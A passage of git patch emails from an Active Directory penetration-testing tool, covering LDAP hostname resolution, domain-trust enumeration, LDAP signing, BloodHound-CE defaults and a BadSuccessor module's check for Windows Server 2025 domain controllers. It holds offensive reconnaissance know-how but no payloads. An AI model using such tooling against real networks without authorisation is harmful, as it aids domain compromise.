pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") + def asreproast(self): if self.password == "" and self.nthash == "" and not self.kerberos: return False From a47431cbfd99f97bccf77df4229361719753254a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 14:20:16 +0200 Subject: [PATCH 036/103] fix hostname info if no ntlm --- nxc/helpers/misc.py | 12 ++++++ nxc/protocols/ldap/resolution.py | 63 ++++++++++++++++++++++++++++++++ nxc/protocols/smb.py | 50 ++++++++++++++++--------- 3 files changed, 107 insertions(+), 18 deletions(-) create mode 100644 nxc/protocols/ldap/resolution.py diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a92646f732..5e31357aa4 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -77,3 +77,15 @@ def _access_check(fn, mode): name = os.path.join(p, thefile) if _access_check(name, mode): return name + +def detect_ip_or_fqdn(input_string): + # Regex for matching IP address (both IPv4 and IPv6) + ip_pattern = re.compile(r"^(\d{1,3}\.){3}\d{1,3}$") # Simple IPv4 pattern + fqdn_pattern = re.compile(r"^[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$") # Simple FQDN pattern + + if ip_pattern.match(input_string): + return True + elif fqdn_pattern.match(input_string): + return False + else: + return False \ No newline at end of file diff --git a/nxc/protocols/ldap/resolution.py b/nxc/protocols/ldap/resolution.py new file mode 100644 index 0000000000..89b73fb479 --- /dev/null +++ b/nxc/protocols/ldap/resolution.py @@ -0,0 +1,63 @@ +from re import sub, I +from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH +from OpenSSL.SSL import SysCallError + +from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 as ldapasn1_impacket + +from nxc.parsers.ldap_results import parse_result_attributes +from nxc.logger import nxc_logger + +class LDAPResolution: + + def __init__(self, host): + self.host = host + + def get_resolution(self): + target = "" + target_domain = "" + base_dn = "" + try: + ldap_url = f"ldap://{self.host}" + nxc_logger.info(f"Connecting to {ldap_url} with no baseDN") + try: + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + nxc_logger.debug(f"ldap_connection: {self.ldap_connection}") + except SysCallError as e: + nxc_logger.fail(f"LDAP connection to {ldap_url} failed: {e}") + return False + + resp = self.ldap_connection.search( + scope=ldapasn1_impacket.Scope("baseObject"), + attributes=["defaultNamingContext", "dnsHostName"], + sizeLimit=0, + ) + resp_parsed = parse_result_attributes(resp)[0] + + target = resp_parsed["dnsHostName"] + base_dn = resp_parsed["defaultNamingContext"] + target_domain = sub( + ",DC=", + ".", + base_dn[base_dn.lower().find("dc="):], + flags=I, + )[3:] + # Extract machine name from target (hostname part of FQDN) + if target: + machine_name = target.split(".")[0] + nxc_logger.debug(f"Extracted machine name: {machine_name}") + + self.ldap_connection.close() + except ConnectionRefusedError as e: + nxc_logger.debug(f"{e} on host {self.host}") + return False + except OSError as e: + if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): + nxc_logger.info(f"Error connecting to {self.host} - {e}") + return False + else: + nxc_logger.error(f"Error getting ldap info {e}") + + nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}") + return machine_name, target_domain \ No newline at end of file diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ce7f825e8f..d949a57fd1 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -56,6 +56,8 @@ from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command +from nxc.helpers.misc import detect_ip_or_fqdn +from nxc.protocols.ldap.resolution import LDAPResolution from dploot.triage.vaults import VaultsTriage from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie @@ -172,6 +174,7 @@ def __init__(self, args, db, host): self.no_ntlm = False self.protocol = "SMB" self.is_guest = None + self.isdc = False connection.__init__(self, args, db, host) @@ -232,13 +235,17 @@ def enum_host_info(self): if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname else: - # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it try: - import socket - socket.inet_aton(self.host) - self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") - self.hostname = self.host - self.targetDomain = self.host + if self.is_host_dc() and detect_ip_or_fqdn(self.host): + self.hostname, self.domain = LDAPResolution(self.host).get_resolution() + self.targetDomain = self.domain + # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it + else: + import socket + socket.inet_aton(self.host) + self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") + self.hostname = self.host + self.targetDomain = self.host except OSError: if self.host.count(".") >= 1: self.hostname = self.host.split(".")[0] @@ -246,6 +253,10 @@ def enum_host_info(self): else: self.hostname = self.host self.targetDomain = self.host + except Exception as e: + self.logger.debug(f"Error getting hostname from LDAP: {e}") + self.hostname = self.host + self.targetDomain = self.host if self.args.domain: self.domain = self.args.domain @@ -330,21 +341,12 @@ def print_host_info(self): self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}) {ntlm}") if self.args.generate_hosts_file or self.args.generate_krb5_file: - from impacket.dcerpc.v5 import nrpc, epm - self.logger.debug("Performing authentication attempts...") - isdc = False - try: - epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - isdc = True - except DCERPCException: - self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") - if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: - dc_part = f" {self.targetDomain}" if isdc else "" + dc_part = f" {self.targetDomain}" if self.isdc else "" host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") - self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") - elif self.args.generate_krb5_file and isdc: + self.logger.debug(f"Line added to {self.args.generate_hosts_file} {self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") + elif self.args.generate_krb5_file and self.isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = f""" [libdefaults] @@ -703,6 +705,18 @@ def generate_tgt(self): except Exception as e: self.logger.fail(f"Failed to get TGT: {e}") + def is_host_dc(self): + from impacket.dcerpc.v5 import nrpc, epm + self.logger.debug("Performing authentication attempts...") + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + self.isdc = True + return True + except DCERPCException: + self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") + self.isdc = False + return False + @requires_admin def execute(self, payload=None, get_output=False, methods=None) -> str: """ From c87d0c206b96a670d69a378e7e99d86bda3b3634 Mon Sep 17 00:00:00 2001 From: termanix Date: Wed, 7 May 2025 15:06:44 -0400 Subject: [PATCH 037/103] integrated enum_trusts --- nxc/protocols/ldap.py | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 5531aaab5e..4a691d084d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -815,6 +815,26 @@ def resolve_and_display_hostname(name, domain_name=None): trust_flat_name = trust["flatName"] trust_direction = int(trust["trustDirection"]) trust_type = int(trust["trustType"]) + trust_attributes = trust["trustAttributes"] + + trust_attribute_flags = { + 0x1: "Non-Transitive", + 0x2: "Uplevel-Only", + 0x4: "Quarantined Domain", + 0x8: "Forest Transitive", + 0x10: "Cross Organization", + 0x20: "Within Forest", + 0x40: "Treat as External", + 0x80: "Uses RC4 Encryption", + 0x100: "Cross Organization No TGT Delegation", + 0x2000: "PAM Trust" + } + + # For check if multiple posibble flags, like Uplevel-Only, Treat as External + trust_attributes_text = ", ".join([ + text for flag, text in trust_attribute_flags.items() + if int(trust_attributes) & flag + ]) or "Other" # If Trust attrs not known # Convert trust direction/type to human-readable format direction_text = { @@ -833,7 +853,7 @@ def resolve_and_display_hostname(name, domain_name=None): }[trust_type] self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") - self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}") + self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") except Exception as e: self.logger.fail(f"Failed {e} in trust entry: {trust}") @@ -849,6 +869,7 @@ def resolve_and_display_hostname(name, domain_name=None): for srv in srv_records: dc_hostname = str(srv.target).rstrip(".") self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") + self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") resolve_and_display_hostname(dc_hostname) except Exception as e: self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") From 2cf004db4f1ec66a25d65939ec90d4202f96b1f7 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 15 May 2025 23:13:00 +0200 Subject: [PATCH 038/103] fix review --- nxc/helpers/misc.py | 14 +++++--------- nxc/protocols/smb.py | 4 ++-- 2 files changed, 7 insertions(+), 11 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 5e31357aa4..676cadd720 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -4,6 +4,7 @@ import inspect import os +from ipaddress import ip_address def identify_target_file(target_file): with open(target_file) as target_file_handle: @@ -78,14 +79,9 @@ def _access_check(fn, mode): if _access_check(name, mode): return name -def detect_ip_or_fqdn(input_string): - # Regex for matching IP address (both IPv4 and IPv6) - ip_pattern = re.compile(r"^(\d{1,3}\.){3}\d{1,3}$") # Simple IPv4 pattern - fqdn_pattern = re.compile(r"^[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$") # Simple FQDN pattern - - if ip_pattern.match(input_string): +def detect_if_ip(target): + try: + ip_address(target) return True - elif fqdn_pattern.match(input_string): - return False - else: + except Exception as e: return False \ No newline at end of file diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d949a57fd1..feacf16516 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -56,7 +56,7 @@ from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command -from nxc.helpers.misc import detect_ip_or_fqdn +from nxc.helpers.misc import detect_if_ip from nxc.protocols.ldap.resolution import LDAPResolution from dploot.triage.vaults import VaultsTriage @@ -236,7 +236,7 @@ def enum_host_info(self): self.targetDomain = self.hostname else: try: - if self.is_host_dc() and detect_ip_or_fqdn(self.host): + if self.is_host_dc() and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() self.targetDomain = self.domain # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it From ee945fa9b4c25279ea667a6b55de7561b59bb235 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 15 May 2025 23:13:23 +0200 Subject: [PATCH 039/103] fix review --- nxc/helpers/misc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 676cadd720..454132a6bc 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -83,5 +83,5 @@ def detect_if_ip(target): try: ip_address(target) return True - except Exception as e: + except Exception: return False \ No newline at end of file From a689cd1459145e99efa87ea89cf1a5626c408794 Mon Sep 17 00:00:00 2001 From: termanix Date: Tue, 20 May 2025 09:05:30 -0400 Subject: [PATCH 040/103] Replaced Reprecated with Removed --- nxc/modules/enum_trusts.py | 68 +------------------------------------- 1 file changed, 1 insertion(+), 67 deletions(-) diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index ef43bcb046..431604fbaa 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -17,70 +17,4 @@ def options(self, context, module_options): pass def on_login(self, context, connection): - search_filter = "(&(objectClass=trustedDomain))" - attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"] - - context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) - - trusts = [] - context.log.debug(f"Total of records returned {len(resp)}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - flat_name = "" - trust_partner = "" - trust_direction = "" - trust_transitive = [] - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "flatName": - flat_name = str(attribute["vals"][0]) - elif str(attribute["type"]) == "trustPartner": - trust_partner = str(attribute["vals"][0]) - elif str(attribute["type"]) == "trustDirection": - if str(attribute["vals"][0]) == "1": - trust_direction = "Inbound" - elif str(attribute["vals"][0]) == "2": - trust_direction = "Outbound" - elif str(attribute["vals"][0]) == "3": - trust_direction = "Bidirectional" - elif str(attribute["type"]) == "trustAttributes": - trust_attributes_value = int(attribute["vals"][0]) - if trust_attributes_value & 0x1: - trust_transitive.append("Non-Transitive") - if trust_attributes_value & 0x2: - trust_transitive.append("Uplevel-Only") - if trust_attributes_value & 0x4: - trust_transitive.append("Quarantined Domain") - if trust_attributes_value & 0x8: - trust_transitive.append("Forest Transitive") - if trust_attributes_value & 0x10: - trust_transitive.append("Cross Organization") - if trust_attributes_value & 0x20: - trust_transitive.append("Within Forest") - if trust_attributes_value & 0x40: - trust_transitive.append("Treat as External") - if trust_attributes_value & 0x80: - trust_transitive.append("Uses RC4 Encryption") - if trust_attributes_value & 0x100: - trust_transitive.append("Cross Organization No TGT Delegation") - if trust_attributes_value & 0x2000: - trust_transitive.append("PAM Trust") - if not trust_transitive: - trust_transitive.append("Other") - trust_transitive = ", ".join(trust_transitive) - - if flat_name and trust_partner and trust_direction and trust_transitive: - trusts.append((flat_name, trust_partner, trust_direction, trust_transitive)) - except Exception as e: - context.log.debug(f"Cannot process trust relationship due to error {e}") - - if trusts: - context.log.success("Found the following trust relationships:") - for trust in trusts: - context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}") - else: - context.log.display("No trust relationships found") - - return True + context.log.fail('[REMOVED] This module moved to the --dc-list LDAP flag.') From 500eaa7ca8dfcb95e8c0fe7505386e166dfb7039 Mon Sep 17 00:00:00 2001 From: termanix Date: Tue, 20 May 2025 09:08:37 -0400 Subject: [PATCH 041/103] enum_trust ruff fixed --- nxc/modules/enum_trusts.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index 431604fbaa..997c553d69 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -1,4 +1,3 @@ -from impacket.ldap import ldapasn1 as ldapasn1_impacket class NXCModule: @@ -17,4 +16,4 @@ def options(self, context, module_options): pass def on_login(self, context, connection): - context.log.fail('[REMOVED] This module moved to the --dc-list LDAP flag.') + context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.") From 789edeb30ac8e5249a8da80356109e33f51edc7c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 06:57:34 -0400 Subject: [PATCH 042/103] Switch to the fixed ldap signing version from zblurx --- poetry.lock | 10 +++++----- pyproject.toml | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 5f43907e9a..28dd9cc98e 100644 --- a/poetry.lock +++ b/poetry.lock @@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20250422.104055.27bebb13" +version = "0.13.0.dev0+20250513.162347.b7288f23" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -888,9 +888,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/fortra/impacket.git" -reference = "HEAD" -resolved_reference = "27bebb1347569fa810e432326266acf17560f274" +url = "https://github.com/zblurx/impacket.git" +reference = "ldap_signing" +resolved_reference = "b7288f233c154b6f73610797f8e0fa3a1541b3a9" [[package]] name = "iniconfig" @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "1b8bf07cb55b385df03716a6bd4a553579e1b325ccb53e2f77ce28605e6903c5" +content-hash = "2ff9e8ff4aee99b6cb0587e226399d29196c7003418f900d4713c533e2659cdb" diff --git a/pyproject.toml b/pyproject.toml index c3c68ae003..151efc8ce3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,7 +44,7 @@ dependencies = [ "terminaltables>=3.1.0", "xmltodict>=0.13.0", # Git Dependencies - "impacket @ git+https://github.com/fortra/impacket.git", + "impacket @ git+https://github.com/zblurx/impacket.git@ldap_signing", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From 263b1df2aeda8bfd7ad37b431e032ae37989610a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 06:58:42 -0400 Subject: [PATCH 043/103] Revert #682 and reenable ldap signing --- nxc/protocols/ldap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7c58e32687..e55d987bdf 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -174,7 +174,7 @@ def create_conn_obj(self): ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: @@ -325,7 +325,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -378,7 +378,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -443,7 +443,7 @@ def plaintext_login(self, domain, username, password): proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -467,7 +467,7 @@ def plaintext_login(self, domain, username, password): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -534,7 +534,7 @@ def hash_login(self, domain, username, ntlm_hash): proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") @@ -558,7 +558,7 @@ def hash_login(self, domain, username, ntlm_hash): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") From 7d3dd409121f413448f3ce1f3734f6b9994e5d71 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 25 May 2025 11:02:38 +0000 Subject: [PATCH 044/103] make bloodhound-ce default --- nxc/data/nxc.conf | 2 +- poetry.lock | 16 ++++++++-------- pyproject.toml | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index faadf8a180..c979614d1e 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -16,7 +16,7 @@ bh_user = neo4j bh_pass = bloodhoundcommunityedition [BloodHound-CE] -bhce_enabled = False +bhce_enabled = True [Empire] api_host = 127.0.0.1 diff --git a/poetry.lock b/poetry.lock index 3638311172..fe455bd1a7 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. [[package]] name = "aardwolf" @@ -335,15 +335,15 @@ files = [ ] [[package]] -name = "bloodhound" +name = "bloodhound-ce" version = "1.8.0" -description = "Python based ingestor for BloodHound" +description = "Python based ingestor for BloodHound Community Edition" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, - {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, + {file = "bloodhound_ce-1.8.0-py3-none-any.whl", hash = "sha256:0d5f39c2ab157448313f6c0ea8afdcf081238682f445c81e065684395ba5484b"}, + {file = "bloodhound_ce-1.8.0.tar.gz", hash = "sha256:f663d6181e2a1ab8de9d57948011662e2a47880d8caca9b85369a7efaed13a70"}, ] [package.dependencies] @@ -687,7 +687,7 @@ description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, @@ -2300,7 +2300,7 @@ description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "82a5e366a4270596f82655b99b5f0f22887fc72d5d04eefc3cddc945c9e69794" +content-hash = "fce231a076829319fd394d9747dc9edbeffc7ea2c2264cc18bd862518c64a7bb" diff --git a/pyproject.toml b/pyproject.toml index 4a010aa13c..9da1dd133c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -21,7 +21,7 @@ dependencies = [ "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", - "bloodhound>=1.8.0", + "bloodhound-ce>=1.8.0", "dploot>=3.1.0", "dsinternals>=1.2.4", "jwt>=1.3.1", From 15fb6a3d1fcdfd43dd42e083595ec710cac0e986 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 25 May 2025 11:07:30 +0000 Subject: [PATCH 045/103] update poetry lock --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 67c6f7afb0..1156e6ffc8 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "fce231a076829319fd394d9747dc9edbeffc7ea2c2264cc18bd862518c64a7bb" +content-hash = "4cbbf65da021a3cfb4f274275e46be64a3f5e9ba5991c84c859f4c9eddcc451f" From e53f1cf378ea74268b16a0cfe3f0d14efda55344 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 07:16:03 -0400 Subject: [PATCH 046/103] Now checking for dc with win server 2025 and not functional domain level to be 2025 --- nxc/modules/badsuccessor.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index 80b464a62e..9f509caa75 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -176,18 +176,21 @@ def resolve_sid_to_name(self, ldap_session, sid, base_dn): return sid def on_login(self, context, connection): - # Check functional domain level + # Check for a domain controller with Windows Server 2025 resp = connection.ldap_connection.search( searchBase=connection.ldap_connection._baseDN, - searchFilter="(objectClass=domain)", - attributes=["msDS-Behavior-Version"] + searchFilter="(&(objectCategory=computer)(primaryGroupId=516))", + attributes=["operatingSystem", "dNSHostName"] ) parsed_resp = parse_result_attributes(resp) - functional_domain_level = list(FUNCTIONAL_LEVELS.keys())[list(FUNCTIONAL_LEVELS.values()).index(int(parsed_resp[0]["msDS-Behavior-Version"]))] - if int(parsed_resp[0]["msDS-Behavior-Version"]) < FUNCTIONAL_LEVELS["Windows Server 2025"]: - context.log.fail(f"Attack won't work, domain functional level '{functional_domain_level}' is lower than Windows Server 2025, enumerating potential objects anyways.") - else: - context.log.success("Domain functional level is Windows Server 2025 or higher, attack is possible.") + + for dc in parsed_resp: + if "2025" in dc["operatingSystem"]: + out = connection.resolver(dc["dNSHostName"]) + dc_ip = out[0] if out else "Unknown IP" + context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})") + else: + context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.") # Enumerate dMSA objects controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION From 65e6e8cf2ec71cad1d023967befc9ea38da4a716 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 25 May 2025 12:21:42 +0000 Subject: [PATCH 047/103] fix poetry lock --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 5bd471c964..64b85377f6 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "4cbbf65da021a3cfb4f274275e46be64a3f5e9ba5991c84c859f4c9eddcc451f" +content-hash = "af9de47cccd46147f7debdfe235c4bbffdc2293322bc2c5a7a644166c1488ee3" From 09ca4c91f4d6db2c089a57dc15271abb2378ecd1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 09:47:54 -0400 Subject: [PATCH 048/103] Implement unlimited querying with MSEven --- nxc/modules/eventlog_creds.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 5572fcf6c1..4d2cd2836e 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -182,7 +182,7 @@ def query(self, path, query, limit): class MSEven6Result: - def __init__(self, conn, handle, limit): + def __init__(self, conn, handle, limit=None): self._conn = conn self._handle = handle 